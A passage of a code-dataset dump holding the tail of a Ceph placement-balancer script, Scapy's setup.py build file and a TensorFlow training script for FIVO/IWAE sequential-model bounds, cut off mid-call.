pginfo[\"stat_sum\"][\"num_objects_degraded\"]\n            objs_to_restore = objs_misplaced + objs_degraded\n\n            if objs_total > 0:\n                progress = 1 - (objs_to_restore / objs_total)\n            else:\n                progress = 1\n            progress *= 100\n\n            state = \"backfill\" if \"backfilling\" in pgstate else \"waiting\"\n            if \"backfill_toofull\" in pgstate:\n                state = \"toofull\"\n            if \"degraded\" in pgstate:\n                state = f\"degraded+{state:<8}\"\n            else:\n                state = f\"         {state:<8}\"\n\n            pg_move_size = get_pg_shardsize(pg)\n            pg_move_size_pp = pformatsize(pg_move_size)\n\n            pg_move_status[pg] = {\n                \"state\": state,\n                \"objs_total\": objs_total,\n                \"objs_todo\": objs_total - objs_to_restore,\n                \"size\": pg_move_size,\n                \"sizepp\": pg_move_size_pp,\n                \"progress\": progress,\n                \"moves\": moves,\n            }\n\n    if args.by_osd:\n        if args.osds:\n            osdids = [int(osdid) for osdid in args.osds.split(\",\")]\n            osdlist = sorted((osdid, osd_actions[osdid]) for osdid in osdids)\n        else:\n            osdlist = sorted(osd_actions.items())\n\n        for osdid, actions in osdlist:\n            if osdid != -1:\n                osd_d_size = osds[osdid]['device_size']\n                osd_d_size_pp = pformatsize(osd_d_size, 2)\n\n                osd_d_used = osds[osdid]['device_used']\n                osd_d_used_pp = pformatsize(osd_d_used, 2)\n\n                osd_c_size = osds[osdid]['crush_weight'] * osds[osdid]['weight']\n                osd_c_size_pp = pformatsize(osd_c_size, 2)\n\n                if osd_d_size == 0:\n                    osd_d_fullness = 0\n                else:\n                    osd_d_fullness = osd_d_used / osd_d_size * 100\n\n                if osd_c_size == 0:\n                    osd_c_fullness = 0\n                else:\n                    osd_c_fullness = osd_d_used / osd_c_size * 100\n\n                osdname = f\"osd.{osdid}\"\n                fullness = (f\"  drive={osd_d_fullness:.1f}% {osd_d_used_pp}/{osd_d_size_pp}\"\n                            f\"  crush={osd_c_fullness:.1f}% {osd_d_used_pp}/{osd_c_size_pp}\")\n\n            else:\n                osdname = \"osd.missing\"\n                fullness = \"\"\n\n            sum_to = len(actions['to'])\n            sum_from = len(actions['from'])\n            sum_data_to = sum((pg_move_status[pg]['size'] for pg in actions[\"to\"].keys()))\n            sum_data_from = sum((pg_move_status[pg]['size'] for pg in actions[\"from\"].keys()))\n            sum_data_delta = (sum_data_from - sum_data_to)\n            sum_data_to_pp = pformatsize(sum_data_to, 2)\n            sum_data_from_pp = pformatsize(sum_data_from, 2)\n            sum_data_delta_pp = pformatsize(sum_data_delta, 2)\n\n            print(f\"{osdname}: {osds[osdid]['host_name']}  =>{sum_to} {sum_data_to_pp} <={sum_from} {sum_data_from_pp}\"\n                  f\" (\\N{Greek Capital Letter Delta}{sum_data_delta_pp}) {fullness}\")\n\n            for pg, to_osd in actions[\"to\"].items():\n                pgstatus = pg_move_status[pg]\n                print(f\"  ->{pg: <6} {pgstatus['state']} {pgstatus['sizepp']: >6} {osdid: >4}->{to_osd: <4} {pgstatus['objs_todo']} of {pgstatus['objs_total']}, {pgstatus['progress']:.1f}%\")\n            for pg, from_osd in actions[\"from\"].items():\n                pgstatus = pg_move_status[pg]\n                print(f\"  <-{pg: <6} {pgstatus['state']} {pgstatus['sizepp']: >6} {osdid: >4}<-{from_osd: <4} {pgstatus['objs_todo']} of {pgstatus['objs_total']}, {pgstatus['progress']:.1f}%\")\n            print()\n\n    else:\n        for pg, pgmoveinfo in pg_move_status.items():\n            state = pgmoveinfo['state']\n            move_size_pp = pgmoveinfo['sizepp']\n            objs_total = pgmoveinfo['objs_total']\n            objs_todo = pgmoveinfo['objs_todo']\n            progress = pgmoveinfo['progress']\n            move_actions = ';'.join(pgmoveinfo['moves'])\n            print(f\"pg {pg: <6} {state} {move_size_pp: >6}: {objs_todo} of {objs_total}, {progress:.1f}%, {move_actions}\")\n\nelif args.mode == 'poolosddiff':\n    if args.pgstate == \"up\":\n        pool_osds = pool_osds_up\n    elif args.pgstate == \"acting\":\n        pool_osds = pool_osds_acting\n    else:\n        raise Exception(\"unknown pgstate {args.pgstate!r}\")\n\n    p1_id = poolnames[args.pool1]\n    p2_id = poolnames[args.pool2]\n\n    p1_osds = pool_osds[p1_id]\n    p2_osds = pool_osds[p2_id]\n\n    ret = {\n        \"pool1\": args.pool1,\n        \"pool2\": args.pool2,\n        \"union\": p1_osds | p2_osds,\n        \"intersect\": p1_osds & p2_osds,\n        \"p1-p2\": p1_osds - p2_osds,\n        \"p2-p1\": p2_osds - p1_osds,\n    }\n    pprint(ret)\n\n\nelse:\n    raise Exception(f\"unknown args mode {args.mode}\")\n","repo_name":"merrygoround-of-life/ceph-balancer","sub_path":"placementoptimizer.py","file_name":"placementoptimizer.py","file_ext":"py","file_size_in_byte":97443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"}
+{"seq_id":"23444436044","text":"#! /usr/bin/env python\n\n\"\"\"\nDistutils setup file for Scapy.\n\"\"\"\n\n\nfrom distutils import archive_util\nfrom distutils import sysconfig\nfrom distutils.core import setup\nfrom distutils.command.sdist import sdist\nimport os\n\n\nEZIP_HEADER = \"\"\"#! /bin/sh\nPYTHONPATH=$0/%s exec python -m scapy.__init__\n\"\"\"\n\n\ndef make_ezipfile(base_name, base_dir, verbose=0, dry_run=0, **kwargs):\n    fname = archive_util.make_zipfile(base_name, base_dir, verbose, dry_run)\n    ofname = fname + \".old\"\n    os.rename(fname, ofname)\n    of = open(ofname)\n    f = open(fname, \"w\")\n    f.write(EZIP_HEADER % base_dir)\n    while True:\n        data = of.read(8192)\n        if not data:\n            break\n        f.write(data)\n    f.close()\n    os.system(\"zip -A '%s'\" % fname)\n    of.close()\n    os.unlink(ofname)\n    os.chmod(fname, 0o755)\n    return fname\n\n\narchive_util.ARCHIVE_FORMATS[\"ezip\"] = (\n    make_ezipfile, [], 'Executable ZIP file')\n\nSCRIPTS = ['bin/scapy', 'bin/UTscapy']\n# On Windows we also need additional batch files to run the above scripts\nif os.name == \"nt\":\n    SCRIPTS += ['bin/scapy.bat', 'bin/UTscapy.bat']\n\nsetup(\n    name='scapy',\n    version=__import__('scapy').VERSION,\n    packages=[\n        'scapy',\n        'scapy/arch',\n        'scapy/arch/bpf',\n        'scapy/arch/windows',\n        'scapy/contrib',\n        'scapy/layers',\n        'scapy/layers/tls',\n        'scapy/layers/tls/crypto',\n        'scapy/modules',\n        'scapy/modules/krack',\n        'scapy/asn1',\n        'scapy/tools',\n    ],\n    scripts=SCRIPTS,\n    data_files=[('share/man/man1', [\"doc/scapy.1.gz\"])],\n    package_data={\n        'scapy': ['VERSION'],\n    },\n\n    # Metadata\n    author='Philippe BIONDI',\n    author_email='phil(at)secdev.org',\n    maintainer='Pierre LALET, Guillaume VALADON',\n    description='Scapy: interactive packet manipulation tool',\n    license='GPLv2',\n    url='http://www.secdev.org/projects/scapy',\n    download_url='https://github.com/secdev/scapy/tarball/master',\n    keywords=[\"network\"],\n    classifiers=[\n        \"Development Status :: 5 - Production/Stable\",\n        \"Environment :: Console\",\n        \"Intended Audience :: Developers\",\n        \"Intended Audience :: Information Technology\",\n        \"Intended Audience :: Science/Research\",\n        \"Intended Audience :: System Administrators\",\n        \"Intended Audience :: Telecommunications Industry\",\n        \"License :: OSI Approved :: GNU General Public License v2 (GPLv2)\",\n        \"Programming Language :: Python :: 2\",\n        \"Programming Language :: Python :: 2.7\",\n        \"Programming Language :: Python :: 3\",\n        \"Programming Language :: Python :: 3.3\",\n        \"Programming Language :: Python :: 3.4\",\n        \"Programming Language :: Python :: 3.5\",\n        \"Programming Language :: Python :: 3.6\",\n        \"Topic :: Security\",\n        \"Topic :: System :: Networking\",\n        \"Topic :: System :: Networking :: Monitoring\",\n    ]\n)\n","repo_name":"terjanq/Flag-Capture","sub_path":"N1CTF 2018/web2/forge_ip/scapy/scapy-master/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","stars":95,"dataset":"github-code","pt":"77"}
+{"seq_id":"14920232346","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom collections import defaultdict\n\nimport numpy as np\nimport tensorflow as tf\n\nimport bounds\nimport data\nimport models\nimport summary_utils as summ\n\ntf.logging.set_verbosity(tf.logging.INFO)\n\ntf.app.flags.DEFINE_integer(\"random_seed\", None,\n                     \"A random seed for the data generating process. Same seed \"\n                     \"-> same data generating process and initialization.\")\ntf.app.flags.DEFINE_enum(\"bound\", \"fivo\", [\"iwae\", \"fivo\", \"fivo-aux\", \"fivo-aux-td\"],\n                  \"The bound to optimize.\")\ntf.app.flags.DEFINE_enum(\"model\", \"forward\", [\"forward\", \"long_chain\"],\n                  \"The model to use.\")\ntf.app.flags.DEFINE_enum(\"q_type\", \"normal\",\n                  [\"normal\", \"simple_mean\", \"prev_state\", \"observation\"],\n                  \"The parameterization to use for q\")\ntf.app.flags.DEFINE_enum(\"p_type\", \"unimodal\", [\"unimodal\", \"bimodal\", \"nonlinear\"],\n                  \"The type of prior.\")\ntf.app.flags.DEFINE_boolean(\"train_p\", True,\n                     \"If false, do not train the model p.\")\n\ntf.app.flags.DEFINE_integer(\"state_size\", 1,\n                     \"The dimensionality of the state space.\")\ntf.app.flags.DEFINE_float(\"variance\", 1.0,\n                   \"The variance of the data generating process.\")\n\ntf.app.flags.DEFINE_boolean(\"use_bs\", True,\n                     \"If False, initialize all bs to 0.\")\ntf.app.flags.DEFINE_float(\"bimodal_prior_weight\", 0.5,\n                   \"The weight assigned to the positive mode of the prior in \"\n                   \"both the data generating process and p.\")\ntf.app.flags.DEFINE_float(\"bimodal_prior_mean\", None,\n                   \"If supplied, sets the mean of the 2 modes of the prior to \"\n                   \"be 1 and -1 times the supplied value. This is for both the \"\n                   \"data generating process and p.\")\ntf.app.flags.DEFINE_float(\"fixed_observation\", None,\n                   \"If supplied, fix the observation to a constant value in the\"\n                   \" data generating process only.\")\ntf.app.flags.DEFINE_float(\"r_sigma_init\", 1.,\n                   \"Value to initialize variance of r to.\")\ntf.app.flags.DEFINE_enum(\"observation_type\",\n                  models.STANDARD_OBSERVATION, models.OBSERVATION_TYPES,\n                  \"The type of observation for the long chain model.\")\ntf.app.flags.DEFINE_enum(\"transition_type\",\n                  models.STANDARD_TRANSITION, models.TRANSITION_TYPES,\n                  \"The type of transition for the long chain model.\")\ntf.app.flags.DEFINE_float(\"observation_variance\", None,\n                   \"The variance of the observation. Defaults to 'variance'\")\n\ntf.app.flags.DEFINE_integer(\"num_timesteps\", 5,\n                     \"Number of timesteps in the sequence.\")\ntf.app.flags.DEFINE_integer(\"num_observations\", 1,\n                     \"The number of observations.\")\ntf.app.flags.DEFINE_integer(\"steps_per_observation\", 5,\n                     \"The number of timesteps between each observation.\")\n\ntf.app.flags.DEFINE_integer(\"batch_size\", 4,\n                     \"The number of examples per batch.\")\ntf.app.flags.DEFINE_integer(\"num_samples\", 4,\n                     \"The number particles to use.\")\ntf.app.flags.DEFINE_integer(\"num_eval_samples\", 512,\n                     \"The batch size and # of particles to use for eval.\")\n\ntf.app.flags.DEFINE_string(\"resampling\", \"always\",\n                    \"How to resample. Accepts 'always','never', or a \"\n                    \"comma-separated list of booleans like 'true,true,false'.\")\ntf.app.flags.DEFINE_enum(\"resampling_method\", \"multinomial\", [\"multinomial\",\n                                                       \"stratified\",\n                                                       \"systematic\",\n                                                       \"relaxed-logblend\",\n                                                       \"relaxed-stateblend\",\n                                                       \"relaxed-linearblend\",\n                                                       \"relaxed-stateblend-st\",],\n                  \"Type of resampling method to use.\")\ntf.app.flags.DEFINE_boolean(\"use_resampling_grads\", True,\n                     \"Whether or not to use resampling grads to optimize FIVO.\"\n                     \"Disabled automatically if resampling_method=relaxed.\")\ntf.app.flags.DEFINE_boolean(\"disable_r\", False,\n                     \"If false, r is not used for fivo-aux and is set to zeros.\")\n\ntf.app.flags.DEFINE_float(\"learning_rate\", 1e-4,\n                   \"The learning rate to use for ADAM or SGD.\")\ntf.app.flags.DEFINE_integer(\"decay_steps\", 25000,\n                     \"The number of steps before the learning rate is halved.\")\ntf.app.flags.DEFINE_integer(\"max_steps\", int(1e6),\n                     \"The number of steps to run training for.\")\n\ntf.app.flags.DEFINE_string(\"logdir\", \"/tmp/fivo-aux\",\n                    \"Directory for summaries and checkpoints.\")\n\ntf.app.flags.DEFINE_integer(\"summarize_every\", int(1e3),\n                     \"The number of steps between each evaluation.\")\nFLAGS = tf.app.flags.FLAGS\n\n\ndef combine_grad_lists(grad_lists):\n  # grads is num_losses by num_variables.\n  # each list could have different variables.\n  # for each variable, sum the grads across all losses.\n  grads_dict = defaultdict(list)\n  var_dict = {}\n  for grad_list in grad_lists:\n    for grad, var in grad_list:\n      if grad is not None:\n        grads_dict[var.name].append(grad)\n      var_dict[var.name] = var\n\n  final_grads = []\n  for var_name, var in var_dict.iteritems():\n    grads = grads_dict[var_name]\n    if len(grads) > 0:\n      tf.logging.info(\"Var %s has combined grads from %s.\" %\n                      (var_name, [g.name for g in grads]))\n      grad = tf.reduce_sum(grads, axis=0)\n    else:\n      tf.logging.info(\"Var %s has no grads\" % var_name)\n      grad = None\n    final_grads.append((grad, var))\n  return final_grads\n\n\ndef make_apply_grads_op(losses, global_step, learning_rate, lr_decay_steps):\n  for l in losses:\n    assert isinstance(l, bounds.Loss)\n\n  lr = tf.train.exponential_decay(\n      learning_rate, global_step, lr_decay_steps, 0.5, staircase=False)\n  tf.summary.scalar(\"learning_rate\", lr)\n  opt = tf.train.AdamOptimizer(lr)\n\n  ema_ops = []\n  grads = []\n  for loss_name, loss, loss_var_collection in losses:\n    tf.logging.info(\"Computing grads of %s w.r.t. vars in collection %s\" %\n                    (loss_name, loss_var_collection))\n    g = opt.compute_gradients(loss,\n                              var_list=tf.get_collection(loss_var_collection))\n    ema_ops.append(summ.summarize_grads(g, loss_name))\n    grads.append(g)\n\n  all_grads = combine_grad_lists(grads)\n  apply_grads_op = opt.apply_gradients(all_grads, global_step=global_step)\n\n  # Update the emas after applying the grads.\n  with tf.control_dependencies([apply_grads_op]):\n    train_op = tf.group(*ema_ops)\n  return train_op\n\n\ndef add_check_numerics_ops():\n  check_op = []\n  for op in tf.get_default_graph().get_operations():\n    bad = [\"logits/Log\", \"sample/Reshape\", \"log_prob/mul\",\n           \"log_prob/SparseSoftmaxCrossEntropyWithLogits/Reshape\",\n           \"entropy/Reshape\", \"entropy/LogSoftmax\", \"Categorical\", \"Mean\"]\n    if all([x not in op.name for x in bad]):\n      for output in op.outputs:\n        if output.dtype in [tf.float16, tf.float32, tf.float64]:\n          if op._get_control_flow_context() is not None:  # pylint: disable=protected-access\n            raise ValueError(\"`tf.add_check_numerics_ops() is not compatible \"\n                             \"with TensorFlow control flow operations such as \"\n                             \"`tf.cond()` or `tf.while_loop()`.\")\n\n          message = op.name + \":\" + str(output.value_index)\n          with tf.control_dependencies(check_op):\n            check_op = [tf.check_numerics(output, message=message)]\n  return tf.group(*check_op)\n\n\ndef create_long_chain_graph(bound, state_size, num_obs, steps_per_obs,\n                            batch_size, num_samples, num_eval_samples,\n                            resampling_schedule, use_resampling_grads,\n                            learning_rate, lr_decay_steps, dtype=\"float64\"):\n  num_timesteps = num_obs * steps_per_obs + 1\n  # Make the dataset.\n  dataset = data.make_long_chain_dataset(\n      state_size=state_size,\n      num_obs=num_obs,\n      steps_per_obs=steps_per_obs,\n      batch_size=batch_size,\n      num_samples=num_samples,\n      variance=FLAGS.variance,\n      observation_variance=FLAGS.observation_variance,\n      dtype=dtype,\n      observation_type=FLAGS.observation_type,\n      transition_type=FLAGS.transition_type,\n      fixed_observation=FLAGS.fixed_observation)\n  itr = dataset.make_one_shot_iterator()\n  _, observations = itr.get_next()\n  # Make the dataset for eval\n  eval_dataset = data.make_long_chain_dataset(\n      state_size=state_size,\n      num_obs=num_obs,\n      steps_per_obs=steps_per_obs,\n      batch_size=batch_size,\n      num_samples=num_eval_samples,\n      variance=FLAGS.variance,\n      observation_variance=FLAGS.observation_variance,\n      dtype=dtype,\n      observation_type=FLAGS.observation_type,\n      transition_type=FLAGS.transition_type,\n      fixed_observation=FLAGS.fixed_observation)\n  eval_itr = eval_dataset.make_one_shot_iterator()\n  _, eval_observations = eval_itr.get_next()\n\n  # Make the model.\n  model = models.LongChainModel.create(\n      state_size,\n      num_obs,\n      steps_per_obs,\n      observation_type=FLAGS.observation_type,\n      transition_type=FLAGS.transition_type,\n      variance=FLAGS.variance,\n      observation_variance=FLAGS.observation_variance,\n      dtype=tf.as_dtype(dtype),\n      disable_r=FLAGS.disable_r)\n\n  # Compute the bound and loss\n  if bound == \"iwae\":\n    (_, losses, ema_op, _, _) = bounds.iwae(\n        model,\n        observations,\n        num_timesteps,\n        num_samples=num_samples)\n    (eval_log_p_hat, _, _, _, eval_log_weights) = bounds.iwae(\n        model,\n        eval_observations,\n        num_timesteps,\n        num_samples=num_eval_samples,\n        summarize=False)\n    eval_log_p_hat = tf.reduce_mean(eval_log_p_hat)\n  elif bound == \"fivo\" or \"fivo-aux\":\n    (_, losses, ema_op, _, _) = bounds.fivo(\n        model,\n        observations,\n        num_timesteps,\n        resampling_schedule=resampling_schedule,\n        use_resampling_grads=use_resampling_grads,\n        resampling_type=FLAGS.resampling_method,\n        aux=(\"aux\" in bound),\n        num_samples=num_samples)\n    (eval_log_p_hat, _, _, _, eval_log_weights) = bounds.fivo(\n        model,\n        eval_observations,\n        num_timesteps,\n        resampling_schedule=resampling_schedule,\n        use_resampling_grads=False,\n        resampling_type=\"multinomial\",\n        aux=(\"aux\" in bound),\n        num_samples=num_eval_samples,\n        summarize=False)\n    eval_log_p_hat = tf.reduce_mean(eval_log_p_hat)\n\n  summ.summarize_ess(eval_log_weights, only_last_timestep=True)\n\n  tf.summary.scalar(\"log_p_hat\", eval_log_p_hat)\n\n  # Compute and apply grads.\n  global_step = tf.train.get_or_create_global_step()\n\n  apply_grads = make_apply_grads_op(losses,\n                                    global_step,\n                                    learning_rate,\n                                    lr_decay_steps)\n\n  # Update the emas after applying the grads.\n  with tf.control_dependencies([apply_grads]):\n    train_op = tf.group(ema_op)\n\n  # We can't calculate the likelihood for most of these models\n  # so we just return zeros.\n  eval_likelihood = tf.zeros([], dtype=dtype)\n  return global_step, train_op, eval_log_p_hat, eval_likelihood\n\n\ndef create_graph(bound, state_size, num_timesteps, batch_size,\n                 num_samples, num_eval_samples, resampling_schedule,\n                 use_resampling_grads, learning_rate, lr_decay_steps,\n                 train_p, dtype='float64'):\n  if FLAGS.use_bs:\n    true_bs = None\n  else:\n    true_bs = [np.zeros([state_size]).astype(dtype) for _ in xrange(num_timesteps)]\n\n  # Make the dataset.\n  true_bs, dataset = data.make_dataset(\n      bs=true_bs,\n      state_size=state_size,\n      num_timesteps=num_timesteps,\n      batch_size=batch_size,\n      num_samples=num_samples,\n      variance=FLAGS.variance,\n      prior_type=FLAGS.p_type,\n      bimodal_prior_weight=FLAGS.bimodal_prior_weight,\n      bimodal_prior_mean=FLAGS.bimodal_prior_mean,\n      transition_type=FLAGS.transition_type,\n      fixed_observation=FLAGS.fixed_observation,\n      dtype=dtype)\n  itr = dataset.make_one_shot_iterator()\n  _, observations = itr.get_next()\n  # Make the dataset for eval\n  _, eval_dataset = data.make_dataset(\n      bs=true_bs,\n      state_size=state_size,\n      num_timesteps=num_timesteps,\n      batch_size=num_eval_samples,\n      num_samples=num_eval_samples,\n      variance=FLAGS.variance,\n      prior_type=FLAGS.p_type,\n      bimodal_prior_weight=FLAGS.bimodal_prior_weight,\n      bimodal_prior_mean=FLAGS.bimodal_prior_mean,\n      transition_type=FLAGS.transition_type,\n      fixed_observation=FLAGS.fixed_observation,\n      dtype=dtype)\n  eval_itr = eval_dataset.make_one_shot_iterator()\n  _, eval_observations = eval_itr.get_next()\n\n  # Make the model.\n  if bound == \"fivo-aux-td\":\n    model = models.TDModel.create(\n        state_size,\n        num_timesteps,\n        variance=FLAGS.variance,\n        train_p=train_p,\n        p_type=FLAGS.p_type,\n        q_type=FLAGS.q_type,\n        mixing_coeff=FLAGS.bimodal_prior_weight,\n        prior_mode_mean=FLAGS.bimodal_prior_mean,\n        observation_variance=FLAGS.observation_variance,\n        transition_type=FLAGS.transition_type,\n        use_bs=FLAGS.use_bs,\n        dtype=tf.as_dtype(dtype),\n        random_seed=FLAGS.random_seed)\n  else:\n    model = models.Model.create(\n        state_size,\n        num_timesteps,\n        variance=FLAGS.variance,\n        train_p=train_p,\n        p_type=FLAGS.p_type,\n        q_type=FLAGS.q_type,\n        mixing_coeff=FLAGS.bimodal_prior_weight,\n        prior_mode_mean=FLAGS.bimodal_prior_mean,\n        observation_variance=FLAGS.observation_variance,\n        transition_type=FLAGS.transition_type,\n        use_bs=FLAGS.use_bs,\n        r_sigma_init=FLAGS.r_sigma_init,\n        dtype=tf.as_dtype(dtype),\n        random_seed=FLAGS.random_seed)\n\n  # Compute the bound and loss\n  if bound == \"iwae\":\n    (_, losses, ema_op, _, _) = bounds.iwae(\n        model,\n        observations,\n        num_timesteps,\n        num_samples=num_samples)\n    (eval_log_p_hat, _, _, eval_states, eval_log_weights) = bounds.iwae(\n        model,\n        eval_observations,\n        num_timesteps,\n        num_samples=num_eval_samples,\n        summarize=True)\n\n    eval_log_p_hat = tf.reduce_mean(eval_log_p_hat)\n\n  elif \"fivo\" in bound:\n    if bound == \"fivo-aux-td\":\n      (_, losses, ema_op, _, _) = bounds.fivo_aux_td(\n          model,\n          observations,\n          num_timesteps,\n          resampling_schedule=resampling_schedule,\n          num_samples=num_samples)\n      (eval_log_p_hat, _, _, eval_states, eval_log_weights) = bounds.fivo_aux_td(\n          model,\n          eval_observations,\n          num_timesteps,\n          resampling_schedule=resampling_schedule,\n          num_samples=num_eval_samples,\n          summarize=True)\n    else:\n      (_, losses, ema_op, _, _) = bounds.fivo(\n          model,\n          observations,\n          num_timesteps,\n          resampling_schedule=resampling_schedule,\n          use_resampling_grads=use_resampling_grads,\n          resampling_type=FLAGS.resampling_method,\n          aux=(\"aux\" in bound),\n          num_samples=num_samples)\n      (eval_log_p_hat, _, _, eval_states, eval_log_weights) = bounds.fivo(\n          model,\n          eval_observations,\n          num_timesteps,\n          resampling_schedule=resampling_schedule,\n          use_resampling_grads=False,\n          resampling_type=\"multinomial\",\n          aux=(\"aux\" in bound),\n          num_samples=num_eval_samples,\n          summarize=True)\n    eval_log_p_hat = tf.reduce_mean(eval_log_p_hat)\n\n  summ.summarize_ess(eval_log_weights, only_last_timestep=True)\n\n  # if FLAGS.p_type == \"bimodal\":\n    # # create the observations that showcase the model.\n    # mode_odds_ratio = tf.convert_to_tensor([1., 3., 1./3., 512., 1./512.],\n    #                                        dtype=tf.float64)\n    # mode_odds_ratio = tf.expand_dims(mode_odds_ratio, 1)\n    # k = ((num_timesteps+1) * FLAGS.variance) / (2*FLAGS.bimodal_prior_mean)\n    # explain_obs = tf.reduce_sum(model.p.bs) + tf.log(mode_odds_ratio) * k\n    # explain_obs = tf.tile(explain_obs, [num_eval_samples, 1])\n    # # run the model on the explainable observations\n    # if bound == \"iwae\":\n    #   (_, _, _, explain_states, explain_log_weights) = bounds.iwae(\n    #       model,\n    #       explain_obs,\n    #       num_timesteps,\n    #       num_samples=num_eval_samples)\n    # elif bound == \"fivo\" or \"fivo-aux\":\n    #   (_, _, _, explain_states, explain_log_weights) = bounds.fivo(\n    #       model,\n    #       explain_obs,\n    #       num_timesteps,\n    #       resampling_schedule=resampling_schedule,\n    #       use_resampling_grads=False,\n    #       resampling_type=\"multinomial\",\n    #       aux=(\"aux\" in bound),\n    #       num_samples=num_eval_samples)\n    # summ.summarize_particles(explain_states,\n    #                          explain_log_weights,\n    #                          explain_obs,\n    #                          model)\n\n  # Calculate the true likelihood.\n  if hasattr(model.p, 'likelihood') and callable(getattr(model.p, 'likelihood')):\n    eval_likelihood = model.p.likelihood(eval_observations)/ FLAGS.num_timesteps\n  else:\n    eval_likelihood = tf.zeros_like(eval_log_p_hat)\n\n  tf.summary.scalar(\"log_p_hat\", eval_log_p_hat)\n  tf.summary.scalar(\"likelihood\", eval_likelihood)\n  tf.summary.scalar(\"bound_gap\", eval_likelihood - eval_log_p_hat)\n  summ.summarize_model(model, true_bs, eval_observations, eval_states, bound,\n                       summarize_r=not bound == \"fivo-aux-td\")\n\n  # Compute and apply grads.\n  global_step = tf.train.get_or_create_global_step()\n\n  apply_grads = make_apply_grads_op(losses,\n                                    global_step,\n                                    learning_rate,\n                                    lr_decay_steps)\n\n  # Update the emas after applying the grads.\n  with tf.control_dependencies([apply_grads]):\n    train_op = tf.group(ema_op)\n    #train_op = tf.group(ema_op, add_check_numerics_ops())\n\n  return global_step, train_op, eval_log_p_hat, eval_likelihood\n\n\ndef parse_resampling_schedule(schedule, num_timesteps):\n  schedule = schedule.strip().lower()\n  if schedule == \"always\":\n    return [True] * (num_timesteps - 1) + [False]\n  elif schedule == \"never\":\n    return [False] * num_timesteps\n  elif \"every\" in schedule:\n    n = int(schedule.split(\"_\")[1])\n    return [(i+1) % n == 0 for i in xrange(num_timesteps)]\n  else:\n    sched = [x.strip() == \"true\" for x in schedule.split(\",\")]\n    assert len(\n        sched\n    ) == num_timesteps, \"Wrong number of timesteps in resampling schedule.\"\n    return sched\n\n\ndef create_log_hook(step, eval_log_p_hat, eval_likelihood):\n  def summ_formatter(d):\n    return (\"Step {step}, log p_hat: {log_p_hat:.5f} likelihood: {likelihood:.5f}\".format(**d))\n  hook = tf.train.LoggingTensorHook(\n      {\n          \"step\": step,\n          \"log_p_hat\": eval_log_p_hat,\n          \"likelihood\": eval_likelihood,\n      },\n      every_n_iter=FLAGS.summarize_every,\n      formatter=summ_formatter)\n  return hook\n\n\ndef create_infrequent_summary_hook():\n  infrequent_summary_hook = tf.train.SummarySaverHook(\n      save_steps=10000,\n      output_dir=FLAGS.logdir,\n      summary_op=tf.summary.merge_all(key=\"infrequent_summaries\")\n  )\n  return infrequent_summary_hook\n\n\ndef main(unused_argv):\n  if FLAGS.model == \"long_chain\":\n    resampling_schedule = parse_resampling_schedule(FLAGS.resampling,\n                                                    FLAGS.num_timesteps + 1)\n  else:\n    resampling_schedule = parse_resampling_schedule(FLAGS.resampling,\n                                                    FLAGS.num_timesteps)\n  if FLAGS.random_seed is None:\n    seed = np.random.randint(0, high=10000)\n  else:\n    seed = FLAGS.random_seed\n  tf.logging.info(\"Using random seed %d\", seed)\n\n  if FLAGS.model == \"long_chain\":\n    assert FLAGS.q_type  == \"normal\", \"Q type %s not supported for long chain models\" % FLAGS.q_type\n    assert FLAGS.p_type == \"unimodal\", \"Bimodal priors are not supported for long chain models\"\n    assert not FLAGS.use_bs, \"Bs are not supported with long chain models\"\n    assert FLAGS.num_timesteps == FLAGS.num_observations * FLAGS.steps_per_observation, \"Num timesteps does not match.\"\n    assert FLAGS.bound != \"fivo-aux-td\", \"TD Training is not compatible with long chain models.\"\n\n  if FLAGS.model == \"forward\":\n    if \"nonlinear\" not in FLAGS.p_type:\n      assert FLAGS.transition_type == models.STANDARD_TRANSITION, \"Non-standard transitions not supported by the forward model.\"\n    assert FLAGS.observation_type == models.STANDARD_OBSERVATION, \"Non-standard observations not supported by the forward model.\"\n    assert FLAGS.observation_variance is None, \"Forward model does not support observation variance.\"\n    assert FLAGS.num_observations == 1, \"Forward model only supports 1 observation.\"\n\n  if \"relaxed\" in FLAGS.resampling_method:\n    FLAGS.use_resampling_grads = False\n    assert FLAGS.bound != \"fivo-aux-td\", \"TD Training is not compatible with relaxed resampling.\"\n\n  if FLAGS.observation_variance is None:\n    FLAGS.observation_variance = FLAGS.variance\n\n  if FLAGS.p_type == \"bimodal\":\n    assert FLAGS.bimodal_prior_mean is not None, \"Must specify prior mean if using bimodal p.\"\n\n  if FLAGS.p_type == \"nonlinear\" or FLAGS.p_type == \"nonlinear-cauchy\":\n    assert not FLAGS.use_bs, \"Using bs is not compatible with the nonlinear model.\"\n\n  g = tf.Graph()\n  with g.as_default():\n    # Set the seeds.\n    tf.set_random_seed(seed)\n    np.random.seed(seed)\n    if FLAGS.model == \"long_chain\":\n      (global_step, train_op, eval_log_p_hat,\n       eval_likelihood) = create_long_chain_graph(\n           FLAGS.bound,\n           FLAGS.state_size,\n           FLAGS.num_observations,\n           FLAGS.steps_per_observation,\n           FLAGS.batch_size,\n           FLAGS.num_samples,\n           FLAGS.num_eval_samples,\n           resampling_schedule,\n           FLAGS.use_resampling_grads,\n           FLAGS.learning_rate,\n           FLAGS.decay_steps)\n    else:\n      (global_step, train_op,\n       eval_log_p_hat, eval_likelihood) = create_graph(\n           FLAGS.bound,\n           FLAGS.state_size,\n           FLAGS.num_timesteps,\n           FLAGS.batch_size,\n           FLAGS.num_samples,\n           FLAGS.num_eval_samples,\n           resampling_schedule,\n           FLAGS.use_resampling_grads,\n           FLAGS.learning_rate,\n           FLAGS.decay_steps,\n           FLAGS.train_p)\n\n    log_hooks = [create_log_hook(global_step, eval_log_p_hat, eval_likelihood)]\n    if len(tf.get_collection(\"infrequent_summaries\")) > 0:\n      log_hooks.append(create_infrequent_summary_hook())\n\n    tf.logging.info(\"trainable variables:\")\n    tf.logging.info([v.name for v in tf.trainable_variables()])\n    tf.logging.info(\"p vars:\")\n    tf.logging.info([v.name for v in tf.get_collection(\"P_VARS\")])\n    tf.logging.info(\"q vars:\")\n    tf.logging.info([v.name for v in tf.get_collection(\"Q_VARS\")])\n    tf.logging.info(\"r vars:\")\n    tf.logging.info([v.name for v in tf.get_collection(\"R_VARS\")])\n    tf.logging.info(\"r tilde vars:\")\n    tf.logging.info([v.name for v in tf.get_collection(\"R_TILDE_VARS\")])\n\n    with tf.train.MonitoredTrainingSession(\n        master=\"\",\n        is_chief=True,\n        hooks=log_hooks,\n        